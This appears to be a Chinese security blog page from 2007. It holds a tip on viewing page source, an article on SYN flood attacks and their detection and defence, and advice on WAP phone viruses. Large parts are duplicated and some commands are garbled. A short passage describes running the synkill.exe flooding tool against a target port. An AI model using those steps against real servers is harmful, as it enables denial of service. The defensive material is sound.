許多惡意網頁為防止有人查看其代碼內容,采取了各種各樣的方法求防止我們查看其源代碼。然而,他們的一切努力也許都是白費心機。因為用如下的方法可以輕易地查看其源代碼。只要在IE地址欄中輸入View-Source:URL即可。舉個例子,你想查看搜狐網站hxxp://www.juntuan.net的源代碼,只要在IE地址欄中輸入:View-Source:hxxp://www.juntuan.net,稍等一下就會彈出一個窗口,里面就是你想看到的網頁源代碼。趕快仔細看看,里面是否有更改注冊表或暗中下載文件的惡意代碼,如果有那就別進該網頁了,很簡單吧?這樣做不僅可以學到別人的網頁制作技術,更可以事先預防惡意代碼,一舉兩得!
黑客知識之SYN攻擊原理以及防范技術
[ 2007-03-25 02:54:39 | 作者: sun ]
據統計,在所有黑客攻擊事件中,SYN攻擊是最常見又最容易被利用的一種攻擊手法。相信很多人還記得2000年YAHOO網站遭受的攻擊事例,當時黑客利用的就是簡單而有效的SYN攻擊,有些網絡蠕蟲病毒配合SYN攻擊造成更大的破壞。本文介紹SYN攻擊的基本原理、工具及檢測方法,并全面探討SYN攻擊防范技術。
據統計,在所有黑客攻擊事件中,SYN攻擊是最常見又最容易被利用的一種攻擊手法。相信很多人還記得2000年YAHOO網站遭受的攻擊事例,當時黑客利用的就是簡單而有效的SYN攻擊,有些網絡蠕蟲病毒配合SYN攻擊造成更大的破壞。本文介紹SYN攻擊的基本原理、工具及檢測方法,并全面探討SYN攻擊防范技術。
一、TCP握手協議
在TCP/IP協議中,TCP協議提供可靠的連接服務,采用三次握手建立一個連接。
第一次握手:建立連接時,客戶端發送syn包(syn=j)到服務器,并進入SYN_SEND狀態,等待服務器確認;
第二次握手:服務器收到syn包,必須確認客戶的SYN(ack=j+1),同時自己也發送一個SYN包(syn=k),即SYN+ACK包,此時服務器進入SYN_RECV狀態;
第三次握手:客戶端收到服務器的SYN+ACK包,向服務器發送確認包ACK(ack=k+1),此包發送完畢,客戶端和服務器進入ESTABLISHED狀態,完成三次握手。
完成三次握手,客戶端與服務器開始傳送數據,在上述過程中,還有一些重要的概念:
未連接隊列:在三次握手協議中,服務器維護一個未連接隊列,該隊列為每個客戶端的SYN包(syn=j)開設一個條目,該條目表明服務器已收到SYN包,并向客戶發出確認,正在等待客戶的確認包。這些條目所標識的連接在服務器處于Syn_RECV狀態,當服務器收到客戶的確認包時,刪除該條目,服務器進入ESTABLISHED狀態。
Backlog參數:表示未連接隊列的最大容納數目。
SYN-ACK 重傳次數 服務器發送完SYN-ACK包,如果未收到客戶確認包,服務器進行首次重傳,等待一段時間仍未收到客戶確認包,進行第二次重傳,如果重傳次數超過系統規定的最大重傳次數,系統將該連接信息從半連接隊列中刪除。注意,每次重傳等待的時間不一定相同。
半連接存活時間:是指半連接隊列的條目存活的最長時間,也即服務從收到SYN包到確認這個報文無效的最長時間,該時間值是所有重傳請求包的最長等待時間總和。有時我們也稱半連接存活時間為Timeout時間、SYN_RECV存活時間。
二、SYN攻擊原理
SYN攻擊屬于DOS攻擊的一種,它利用TCP協議缺陷,通過發送大量的半連接請求,耗費CPU和內存資源。SYN攻擊除了能影響主機外,還可以危害路由器、防火墻等網絡系統,事實上SYN攻擊并不管目標是什么系統,只要這些系統打開TCP服務就可以實施。從上圖可看到,服務器接收到連接請求(syn=j),將此信息加入未連接隊列,并發送請求包給客戶(syn=k,ack=j+1),此時進入SYN_RECV狀態。當服務器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連接隊列刪除。配合IP欺騙,SYN攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的IP地址,向服務器不斷地發送syn包,服務器回復確認包,并等待客戶的確認,由于源地址是不存在的,服務器需要不斷的重發直至超時,這些偽造的SYN包將長時間占用未連接隊列,正常的SYN請求被丟棄,目標系統運行緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。
三、SYN攻擊工具
SYN攻擊實現起來非常的簡單,互聯網上有大量現成的SYN攻擊工具。
1、Windows系統下的SYN工具
以synkill.exe為例,運行工具,選擇隨機的源地址和源端囗,并填寫目標機器地址和TCP端囗,激活運行,很快就會發現目標系統運行緩慢。如果攻擊效果不明顯,可能是目標機器并未開啟所填寫的TCP端囗或者防火墻拒絕訪問該端囗,此時可選擇允許訪問的TCP端囗,通常,windows系統開放tcp139端囗,UNIX系統開放tcp7、21、23等端囗。
四、檢測SYN攻擊
檢測SYN攻擊非常的方便,當你在服務器上看到大量的半連接狀態時,特別是源IP地址是隨機的,基本上可以斷定這是一次SYN攻擊。我們使用系統自帶的netstat 工具來檢測SYN攻擊:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系統中看到的,很多連接處于SYN_RECV狀態(在WINDOWS系統中是SYN_RECEIVED狀態),源IP地址都是隨機的,表明這是一種帶有IP欺騙的SYN攻擊。
我們也可以通過下面的命令直接查看在LINUX環境下某個端囗的未連接隊列的條目數:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
顯示TCP端囗22的未連接數有324個,雖然還遠達不到系統極限,但應該引起管理員的注意。
五、SYN攻擊防范技術
關于SYN攻擊防范技術,人們研究得比較早。歸納起來,主要有兩大類,一類是通過防火墻、路由器等過濾網關防護,另一類是通過加固TCP/IP協議棧防范.但必須清楚的是,SYN攻擊不能完全被阻止,我們所做的是盡可能的減輕SYN攻擊的危害,除非將TCP協議重新設計。
1、過濾網關防護
這里,過濾網關主要指明防火墻,當然路由器也能成為過濾網關。防火墻部署在不同網絡之間,防范外來非法攻擊和防止保密信息外泄,它處于客戶端和服務器之間,利用它來防護SYN攻擊能起到很好的效果。過濾網關防護主要包括超時設置,SYN網關和SYN代理三種。
■網關超時設置:
防火墻設置SYN轉發超時參數(狀態檢測的防火墻可在狀態表里面設置),該參數遠小于服務器的timeout時間。當客戶端發送完SYN包,服務端發送確認包后(SYN+ACK),防火墻如果在計數器到期時還未收到客戶端的確認包(ACK),則往服務器發送RST包,以使服務器從隊列中刪去該半連接。值得注意的是,網關超時參數設置不宜過小也不宜過大,超時參數設置過小會影響正常的通訊,設置太大,又會影響防范SYN攻擊的效果,必須根據所處的網絡應用環境來設置此參數。
■SYN網關:
SYN網關收到客戶端的SYN包時,直接轉發給服務器;SYN網關收到服務器的SYN/ACK包后,將該包轉發給客戶端,同時以客戶端的名義給服務器發ACK確認包。此時服務器由半連接狀態進入連接狀態。當客戶端確認包到達時,如果有數據則轉發,否則丟棄。事實上,服務器除了維持半連接隊列外,還要有一個連接隊列,如果發生SYN攻擊時,將使連接隊列數目增加,但一般服務器所能承受的連接數量比半連接數量大得多,所以這種方法能有效地減輕對服務器的攻擊。
■SYN代理:
當客戶端SYN包到達過濾網關時,SYN代理并不轉發SYN包,而是以服務器的名義主動回復SYN/ACK包給客戶,如果收到客戶的ACK包,表明這是正常的訪問,此時防火墻向服務器發送ACK包并完成三次握手。SYN代理事實上代替了服務器去處理SYN攻擊,此時要求過濾網關自身具有很強的防范SYN攻擊能力。
2、加固tcp/ip協議棧
防范SYN攻擊的另一項主要技術是調整tcp/ip協議棧,修改tcp協議實現。主要方法有SynAttackProtect保護機制、SYN cookies技術、增加最大半連接和縮短超時時間等。tcp/ip協議棧的調整可能會引起某些功能的受限,管理員應該在進行充分了解和測試的前提下進行此項工作。
■SynAttackProtect機制
為防范SYN攻擊,win2000系統的tcp/ip協議棧內嵌了SynAttackProtect機制,Win2003系統也采用此機制。SynAttackProtect機制是通過關閉某些socket選項,增加額外的連接指示和減少超時時間,使系統能處理更多的SYN連接,以達到防范SYN攻擊的目的。默認情況下,Win2000操作系統并不支持SynAttackProtect保護機制,需要在注冊表以下位置增加SynAttackProtect鍵值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
當SynAttackProtect值(如無特別說明,本文提到的注冊表鍵值都為十六進制)為0或不設置時,系統不受SynAttackProtect保護。
當SynAttackProtect值為1時,系統通過減少重傳次數和延遲未連接時路由緩沖項(route cache entry)防范SYN攻擊。
當SynAttackProtect值為2時(Microsoft推薦使用此值),系統不僅使用backlog隊列,還使用附加的半連接指示,以此來處理更多的SYN連接,使用此鍵值時,tcp/ip的TCPInitialRTT、window size和可滑動窗囗將被禁止。
我們應該知道,平時,系統是不啟用SynAttackProtect機制的,僅在檢測到SYN攻擊時,才啟用,并調整tcp/ip協議棧。那么系統是如何檢測SYN攻擊發生的呢?事實上,系統根據TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三個參數判斷是否遭受SYN攻擊。
TcpMaxHalfOpen 表示能同時處理的最大半連接數,如果超過此值,系統認為正處于SYN攻擊中。Win2000 server默認值為100,Win2000 Advanced server為500。
TcpMaxHalfOpenRetried定義了保存在backlog隊列且重傳過的半連接數,如果超過此值,系統自動啟動SynAttackProtect機制。Win2000 server默認值為80,Win2000 Advanced server為400。
TcpMaxPortsExhausted 是指系統拒絕的SYN請求包的數量,默認是5。
如果想調整以上參數的默認值,可以在注冊表里修改(位置與SynAttackProtect相同)
■ SYN cookies技術
我們知道,TCP協議開辟了一個比較大的內存空間backlog隊列來存儲半連接條目,當SYN請求不斷增加,并這個空間,致使系統丟棄SYN連接。為使半連接隊列被塞滿的情況下,服務器仍能處理新到的SYN請求,SYN cookies技術被設計出來。
SYN cookies應用于linux、FreeBSD等操作系統,當半連接隊列滿時,SYNcookies并不丟棄SYN請求,而是通過加密技術來標識半連接狀態。
在TCP實現中,當收到客戶端的SYN請求時,服務器需要回復SYN+ACK包給客戶端,客戶端也要發送確認包給服務器。通常,服務器的初始序列號由服務器按照一定的規律計算得到或采用隨機數,但在SYN cookies中,服務器的初始序列號是通過對客戶端IP地址、客戶端端囗、服務器IP地址和服務器端囗以及其他一些安全數值等要素進行hash運算,加密得到的,稱之為cookie。當服務器遭受SYN攻擊使得backlog隊列滿時,服務器并不拒絕新的SYN請求,而是回復cookie(回復包的SYN序列號)給客戶端, 如果收到客戶端的ACK包,服務器將客戶端的ACK序列號減去1得到cookie比較值,并將上述要素進行一次hash運算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此時并不用查看此連接是否屬于backlog隊列)。
在RedHat linux中,啟用SYN cookies是通過在啟動環境中設置以下命令來完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半連接數
大量的SYN請求導致未連接隊列被塞滿,使正常的TCP連接無法順利完成三次握手,通過增大未連接隊列空間可以緩解這種壓力。當然backlog隊列需要占用大量的內存資源,不能被無限的擴大。
WIN2000:除了上面介紹的TcpMaxHalfOpen, TcpMaxHalfOpenRetried參數外,WIN2000操作系統可以通過設置動態backlog(dynamic backlog)來增大系統所能容納的最大半連接數,配置動態backlog由AFD.SYS驅動完成,AFD.SYS是一種內核級的驅動,用于支持基于window socket的應用程序,比如ftp、telnet等。AFD.SYS在注冊表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值為1時,表示啟用動態backlog,可以修改最大半連接數。
MinimumDynamicBacklog表示半連接隊列為單個TCP端囗分配的最小空閑連接數,當該TCP端囗在backlog隊列的空閑連接小于此臨界值時,系統為此端囗自動啟用擴展的空閑連接(DynamicBacklogGrowthDelta),Microsoft推薦該值為20。
MaximumDynamicBacklog是當前活動的半連接和空閑連接的和,當此和超過某個臨界值時,系統拒絕SYN包,Microsoft推薦MaximumDynamicBacklog值不得超過2000。
DynamicBacklogGrowthDelta值是指擴展的空閑連接數,此連接數并不計算在MaximumDynamicBacklog內,當半連接隊列為某個TCP端囗分配的空閑連接小于MinimumDynamicBacklog時,系統自動分配DynamicBacklogGrowthDelta所定義的空閑連接空間,以使該TCP端囗能處理更多的半連接。Microsoft推薦該值為10。
LINUX:Linux用變量tcp_max_syn_backlog定義backlog隊列容納的最大半連接數。在Redhat 7.3中,該變量的值默認為256,這個值是遠遠不夠的,一次強度不大的SYN攻擊就能使半連接隊列占滿。我們可以通過以下命令修改此變量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用變量tcp_conn_req_max_q0來定義最大半連接數,在Sun Solaris 8中,該值默認為1024,可以通過add命令改變這個值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用變量tcp_syn_rcvd_max來定義最大半連接數,在HP-UX 11.00中,該值默認為500,可以通過ndd命令改變默認值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■縮短超時時間
上文提到,通過增大backlog隊列能防范SYN攻擊;另外減少超時時間也使系統能處理更多的SYN請求。我們知道,timeout超時時間,也即半連接存活時間,是系統所有重傳次數等待的超時時間總和,這個值越大,半連接數占用backlog隊列的時間就越長,系統能處理的SYN請求就越少。為縮短超時時間,可以通過縮短重傳超時時間(一般是第一次重傳超時時間)和減少重傳次數來實現。
Win2000第一次重傳之前等待時間默認為3秒,為改變此默認值,可以通過修改網絡接囗在注冊表里的TcpInitialRtt注冊值來完成。重傳次數由TcpMaxConnectResponseRetransmissions 來定義,注冊表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
當然我們也可以把重傳次數設置為0次,這樣服務器如果在3秒內還未收到ack確認包就自動從backlog隊列中刪除該連接條目。
LINUX:Redhat使用變量tcp_synack_retries定義重傳次數,其默認值是5次,總超時時間需要3分鐘。
Sun Solaris Solaris 默認的重傳次數是3次,總超時時間為3分鐘,可以通過ndd命令修改這些默認值。(t003)
據統計,在所有黑客攻擊事件中,SYN攻擊是最常見又最容易被利用的一種攻擊手法。相信很多人還記得2000年YAHOO網站遭受的攻擊事例,當時黑客利用的就是簡單而有效的SYN攻擊,有些網絡蠕蟲病毒配合SYN攻擊造成更大的破壞。本文介紹SYN攻擊的基本原理、工具及檢測方法,并全面探討SYN攻擊防范技術。
一、TCP握手協議
在TCP/IP協議中,TCP協議提供可靠的連接服務,采用三次握手建立一個連接。
第一次握手:建立連接時,客戶端發送syn包(syn=j)到服務器,并進入SYN_SEND狀態,等待服務器確認;
第二次握手:服務器收到syn包,必須確認客戶的SYN(ack=j+1),同時自己也發送一個SYN包(syn=k),即SYN+ACK包,此時服務器進入SYN_RECV狀態;
第三次握手:客戶端收到服務器的SYN+ACK包,向服務器發送確認包ACK(ack=k+1),此包發送完畢,客戶端和服務器進入ESTABLISHED狀態,完成三次握手。
完成三次握手,客戶端與服務器開始傳送數據,在上述過程中,還有一些重要的概念:
未連接隊列:在三次握手協議中,服務器維護一個未連接隊列,該隊列為每個客戶端的SYN包(syn=j)開設一個條目,該條目表明服務器已收到SYN包,并向客戶發出確認,正在等待客戶的確認包。這些條目所標識的連接在服務器處于Syn_RECV狀態,當服務器收到客戶的確認包時,刪除該條目,服務器進入ESTABLISHED狀態。
Backlog參數:表示未連接隊列的最大容納數目。
SYN-ACK 重傳次數 服務器發送完SYN-ACK包,如果未收到客戶確認包,服務器進行首次重傳,等待一段時間仍未收到客戶確認包,進行第二次重傳,如果重傳次數超過系統規定的最大重傳次數,系統將該連接信息從半連接隊列中刪除。注意,每次重傳等待的時間不一定相同。
半連接存活時間:是指半連接隊列的條目存活的最長時間,也即服務從收到SYN包到確認這個報文無效的最長時間,該時間值是所有重傳請求包的最長等待時間總和。有時我們也稱半連接存活時間為Timeout時間、SYN_RECV存活時間。
二、SYN攻擊原理
SYN攻擊屬于DOS攻擊的一種,它利用TCP協議缺陷,通過發送大量的半連接請求,耗費CPU和內存資源。SYN攻擊除了能影響主機外,還可以危害路由器、防火墻等網絡系統,事實上SYN攻擊并不管目標是什么系統,只要這些系統打開TCP服務就可以實施。從上圖可看到,服務器接收到連接請求(syn=j),將此信息加入未連接隊列,并發送請求包給客戶(syn=k,ack=j+1),此時進入SYN_RECV狀態。當服務器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連接隊列刪除。配合IP欺騙,SYN攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的IP地址,向服務器不斷地發送syn包,服務器回復確認包,并等待客戶的確認,由于源地址是不存在的,服務器需要不斷的重發直至超時,這些偽造的SYN包將長時間占用未連接隊列,正常的SYN請求被丟棄,目標系統運行緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。
三、SYN攻擊工具
SYN攻擊實現起來非常的簡單,互聯網上有大量現成的SYN攻擊工具。
1、Windows系統下的SYN工具
以synkill.exe為例,運行工具,選擇隨機的源地址和源端囗,并填寫目標機器地址和TCP端囗,激活運行,很快就會發現目標系統運行緩慢。如果攻擊效果不明顯,可能是目標機器并未開啟所填寫的TCP端囗或者防火墻拒絕訪問該端囗,此時可選擇允許訪問的TCP端囗,通常,windows系統開放tcp139端囗,UNIX系統開放tcp7、21、23等端囗。
四、檢測SYN攻擊
檢測SYN攻擊非常的方便,當你在服務器上看到大量的半連接狀態時,特別是源IP地址是隨機的,基本上可以斷定這是一次SYN攻擊。我們使用系統自帶的netstat 工具來檢測SYN攻擊:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系統中看到的,很多連接處于SYN_RECV狀態(在WINDOWS系統中是SYN_RECEIVED狀態),源IP地址都是隨機的,表明這是一種帶有IP欺騙的SYN攻擊。
我們也可以通過下面的命令直接查看在LINUX環境下某個端囗的未連接隊列的條目數:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
顯示TCP端囗22的未連接數有324個,雖然還遠達不到系統極限,但應該引起管理員的注意。
五、SYN攻擊防范技術
關于SYN攻擊防范技術,人們研究得比較早。歸納起來,主要有兩大類,一類是通過防火墻、路由器等過濾網關防護,另一類是通過加固TCP/IP協議棧防范.但必須清楚的是,SYN攻擊不能完全被阻止,我們所做的是盡可能的減輕SYN攻擊的危害,除非將TCP協議重新設計。
1、過濾網關防護
這里,過濾網關主要指明防火墻,當然路由器也能成為過濾網關。防火墻部署在不同網絡之間,防范外來非法攻擊和防止保密信息外泄,它處于客戶端和服務器之間,利用它來防護SYN攻擊能起到很好的效果。過濾網關防護主要包括超時設置,SYN網關和SYN代理三種。
■網關超時設置:
防火墻設置SYN轉發超時參數(狀態檢測的防火墻可在狀態表里面設置),該參數遠小于服務器的timeout時間。當客戶端發送完SYN包,服務端發送確認包后(SYN+ACK),防火墻如果在計數器到期時還未收到客戶端的確認包(ACK),則往服務器發送RST包,以使服務器從隊列中刪去該半連接。值得注意的是,網關超時參數設置不宜過小也不宜過大,超時參數設置過小會影響正常的通訊,設置太大,又會影響防范SYN攻擊的效果,必須根據所處的網絡應用環境來設置此參數。
■SYN網關:
SYN網關收到客戶端的SYN包時,直接轉發給服務器;SYN網關收到服務器的SYN/ACK包后,將該包轉發給客戶端,同時以客戶端的名義給服務器發ACK確認包。此時服務器由半連接狀態進入連接狀態。當客戶端確認包到達時,如果有數據則轉發,否則丟棄。事實上,服務器除了維持半連接隊列外,還要有一個連接隊列,如果發生SYN攻擊時,將使連接隊列數目增加,但一般服務器所能承受的連接數量比半連接數量大得多,所以這種方法能有效地減輕對服務器的攻擊。
■SYN代理:
當客戶端SYN包到達過濾網關時,SYN代理并不轉發SYN包,而是以服務器的名義主動回復SYN/ACK包給客戶,如果收到客戶的ACK包,表明這是正常的訪問,此時防火墻向服務器發送ACK包并完成三次握手。SYN代理事實上代替了服務器去處理SYN攻擊,此時要求過濾網關自身具有很強的防范SYN攻擊能力。
2、加固tcp/ip協議棧
防范SYN攻擊的另一項主要技術是調整tcp/ip協議棧,修改tcp協議實現。主要方法有SynAttackProtect保護機制、SYN cookies技術、增加最大半連接和縮短超時時間等。tcp/ip協議棧的調整可能會引起某些功能的受限,管理員應該在進行充分了解和測試的前提下進行此項工作。
■SynAttackProtect機制
為防范SYN攻擊,win2000系統的tcp/ip協議棧內嵌了SynAttackProtect機制,Win2003系統也采用此機制。SynAttackProtect機制是通過關閉某些socket選項,增加額外的連接指示和減少超時時間,使系統能處理更多的SYN連接,以達到防范SYN攻擊的目的。默認情況下,Win2000操作系統并不支持SynAttackProtect保護機制,需要在注冊表以下位置增加SynAttackProtect鍵值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
當SynAttackProtect值(如無特別說明,本文提到的注冊表鍵值都為十六進制)為0或不設置時,系統不受SynAttackProtect保護。
當SynAttackProtect值為1時,系統通過減少重傳次數和延遲未連接時路由緩沖項(route cache entry)防范SYN攻擊。
當SynAttackProtect值為2時(Microsoft推薦使用此值),系統不僅使用backlog隊列,還使用附加的半連接指示,以此來處理更多的SYN連接,使用此鍵值時,tcp/ip的TCPInitialRTT、window size和可滑動窗囗將被禁止。
我們應該知道,平時,系統是不啟用SynAttackProtect機制的,僅在檢測到SYN攻擊時,才啟用,并調整tcp/ip協議棧。那么系統是如何檢測SYN攻擊發生的呢?事實上,系統根據TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三個參數判斷是否遭受SYN攻擊。
TcpMaxHalfOpen 表示能同時處理的最大半連接數,如果超過此值,系統認為正處于SYN攻擊中。Win2000 server默認值為100,Win2000 Advanced server為500。
TcpMaxHalfOpenRetried定義了保存在backlog隊列且重傳過的半連接數,如果超過此值,系統自動啟動SynAttackProtect機制。Win2000 server默認值為80,Win2000 Advanced server為400。
TcpMaxPortsExhausted 是指系統拒絕的SYN請求包的數量,默認是5。
如果想調整以上參數的默認值,可以在注冊表里修改(位置與SynAttackProtect相同)
■ SYN cookies技術
我們知道,TCP協議開辟了一個比較大的內存空間backlog隊列來存儲半連接條目,當SYN請求不斷增加,并這個空間,致使系統丟棄SYN連接。為使半連接隊列被塞滿的情況下,服務器仍能處理新到的SYN請求,SYN cookies技術被設計出來。
SYN cookies應用于linux、FreeBSD等操作系統,當半連接隊列滿時,SYNcookies并不丟棄SYN請求,而是通過加密技術來標識半連接狀態。
在TCP實現中,當收到客戶端的SYN請求時,服務器需要回復SYN+ACK包給客戶端,客戶端也要發送確認包給服務器。通常,服務器的初始序列號由服務器按照一定的規律計算得到或采用隨機數,但在SYN cookies中,服務器的初始序列號是通過對客戶端IP地址、客戶端端囗、服務器IP地址和服務器端囗以及其他一些安全數值等要素進行hash運算,加密得到的,稱之為cookie。當服務器遭受SYN攻擊使得backlog隊列滿時,服務器并不拒絕新的SYN請求,而是回復cookie(回復包的SYN序列號)給客戶端, 如果收到客戶端的ACK包,服務器將客戶端的ACK序列號減去1得到cookie比較值,并將上述要素進行一次hash運算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此時并不用查看此連接是否屬于backlog隊列)。
在RedHat linux中,啟用SYN cookies是通過在啟動環境中設置以下命令來完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半連接數
大量的SYN請求導致未連接隊列被塞滿,使正常的TCP連接無法順利完成三次握手,通過增大未連接隊列空間可以緩解這種壓力。當然backlog隊列需要占用大量的內存資源,不能被無限的擴大。
WIN2000:除了上面介紹的TcpMaxHalfOpen, TcpMaxHalfOpenRetried參數外,WIN2000操作系統可以通過設置動態backlog(dynamic backlog)來增大系統所能容納的最大半連接數,配置動態backlog由AFD.SYS驅動完成,AFD.SYS是一種內核級的驅動,用于支持基于window socket的應用程序,比如ftp、telnet等。AFD.SYS在注冊表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值為1時,表示啟用動態backlog,可以修改最大半連接數。
MinimumDynamicBacklog表示半連接隊列為單個TCP端囗分配的最小空閑連接數,當該TCP端囗在backlog隊列的空閑連接小于此臨界值時,系統為此端囗自動啟用擴展的空閑連接(DynamicBacklogGrowthDelta),Microsoft推薦該值為20。
MaximumDynamicBacklog是當前活動的半連接和空閑連接的和,當此和超過某個臨界值時,系統拒絕SYN包,Microsoft推薦MaximumDynamicBacklog值不得超過2000。
DynamicBacklogGrowthDelta值是指擴展的空閑連接數,此連接數并不計算在MaximumDynamicBacklog內,當半連接隊列為某個TCP端囗分配的空閑連接小于MinimumDynamicBacklog時,系統自動分配DynamicBacklogGrowthDelta所定義的空閑連接空間,以使該TCP端囗能處理更多的半連接。Microsoft推薦該值為10。
LINUX:Linux用變量tcp_max_syn_backlog定義backlog隊列容納的最大半連接數。在Redhat 7.3中,該變量的值默認為256,這個值是遠遠不夠的,一次強度不大的SYN攻擊就能使半連接隊列占滿。我們可以通過以下命令修改此變量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用變量tcp_conn_req_max_q0來定義最大半連接數,在Sun Solaris 8中,該值默認為1024,可以通過add命令改變這個值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用變量tcp_syn_rcvd_max來定義最大半連接數,在HP-UX 11.00中,該值默認為500,可以通過ndd命令改變默認值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■縮短超時時間
上文提到,通過增大backlog隊列能防范SYN攻擊;另外減少超時時間也使系統能處理更多的SYN請求。我們知道,timeout超時時間,也即半連接存活時間,是系統所有重傳次數等待的超時時間總和,這個值越大,半連接數占用backlog隊列的時間就越長,系統能處理的SYN請求就越少。為縮短超時時間,可以通過縮短重傳超時時間(一般是第一次重傳超時時間)和減少重傳次數來實現。
Win2000第一次重傳之前等待時間默認為3秒,為改變此默認值,可以通過修改網絡接囗在注冊表里的TcpInitialRtt注冊值來完成。重傳次數由TcpMaxConnectResponseRetransmissions 來定義,注冊表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
當然我們也可以把重傳次數設置為0次,這樣服務器如果在3秒內還未收到ack確認包就自動從backlog隊列中刪除該連接條目。
LINUX:Redhat使用變量tcp_synack_retries定義重傳次數,其默認值是5次,總超時時間需要3分鐘。
Sun Solaris Solaris 默認的重傳次數是3次,總超時時間為3分鐘,可以通過ndd命令修改這些默認值。(t003)
移動也安全之WAP手機上網防病毒攻略
[ 2007-03-25 02:54:20 | 作者: sun ]
隨著WAP手機技術的日趨成熟,接入互聯網輕松獲得大量的信息已成為未來手機發展的必然趨勢。而且隨著配備Java功能的i模式手機登場,手機接入互聯網更為便捷,勢必會因此增加手機感染病毒的機會。由于通過網絡直接對WAP手機進行攻擊比對GSM手機進行攻擊更加簡便易行,WAP手機已經成為電腦黑客攻擊的重要對象。
黑客對手機進行攻擊,通常采用以下三種方式:一是攻擊WAP服務器,使WAP手機無法接收正常信息;二是攻擊和控制“網關”,向手機發送垃圾信息(嚴格地說,以上兩種手機病毒還屬于電腦病毒,不會破壞手機本身);三是直接攻擊手機本身,使手機無法提供服務。新一代的WAP手機由于其功能的多元化,因此病毒帶來的災害也會更大。侵襲WAP手機的病毒可能會自動啟動電話錄音功能、自動撥打電話、刪除手機上的檔案內容,甚至會制造出金額龐大的電話賬單。
要避免手機感染病毒,用戶在使用手機時要采取適當的措施:
1、關閉亂碼電話。當對方的電話撥入時,屏幕上顯示的應該是來電電話號碼,結果卻顯示別的字樣或奇異符號。如果遇到上述情形,用戶應不回答或立即把電話關閉。如接聽來電,則會感染上病毒,同時機內所有新名詞及設定將被破壞。
2、盡量少從網上下載信息。病毒要想侵入且在流動網絡上傳送,要先破壞掉手機短信息保護系統,這本非容易的事情。但隨著3G時代的來臨,手機更加趨向于一臺小型電腦,有電腦病毒就會有手機病毒,因此從網上下載信息時要當心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收發作為移動通訊的一個重要方式,也是感染手機病毒的一個重要途徑。如今手機病毒的發展已經從潛伏期過渡到了破壞期,短信息已成為下毒的常用工具。手機用戶一旦接到帶有病毒的短信息,閱讀后便會出現手機鍵盤被鎖,甚至破壞手機IC卡等嚴重效果。
4、對手機進行查殺病毒。目前查殺手機病毒的主要技術措施有兩種:一是通過無線網站對手機進行殺毒;二是通過手機的IC接入口或紅外傳輸口進行殺毒。在i模式手機中,為了禁止非法利用該功能,可采取以下的安全性措施:(1)將執行Java小程序的內存和存貯電話簿等功能的內存分割開來,從而禁止小程序訪問;(2)已經下載的Java小程序只能訪問保存該小程序的服務器;(3)當小程序試圖利用手機的硬件功能(如使用撥號功能打電話時)便會發出警告等。
手機病毒因手機網絡聯系密切,影響面廣,破壞力強,故不可掉以輕心。但也不必因噎廢食,只要做足防范措施,便可放心使用。
黑客對手機進行攻擊,通常采用以下三種方式:一是攻擊WAP服務器,使WAP手機無法接收正常信息;二是攻擊和控制“網關”,向手機發送垃圾信息(嚴格地說,以上兩種手機病毒還屬于電腦病毒,不會破壞手機本身);三是直接攻擊手機本身,使手機無法提供服務。新一代的WAP手機由于其功能的多元化,因此病毒帶來的災害也會更大。侵襲WAP手機的病毒可能會自動啟動電話錄音功能、自動撥打電話、刪除手機上的檔案內容,甚至會制造出金額龐大的電話賬單。
要避免手機感染病毒,用戶在使用手機時要采取適當的措施:
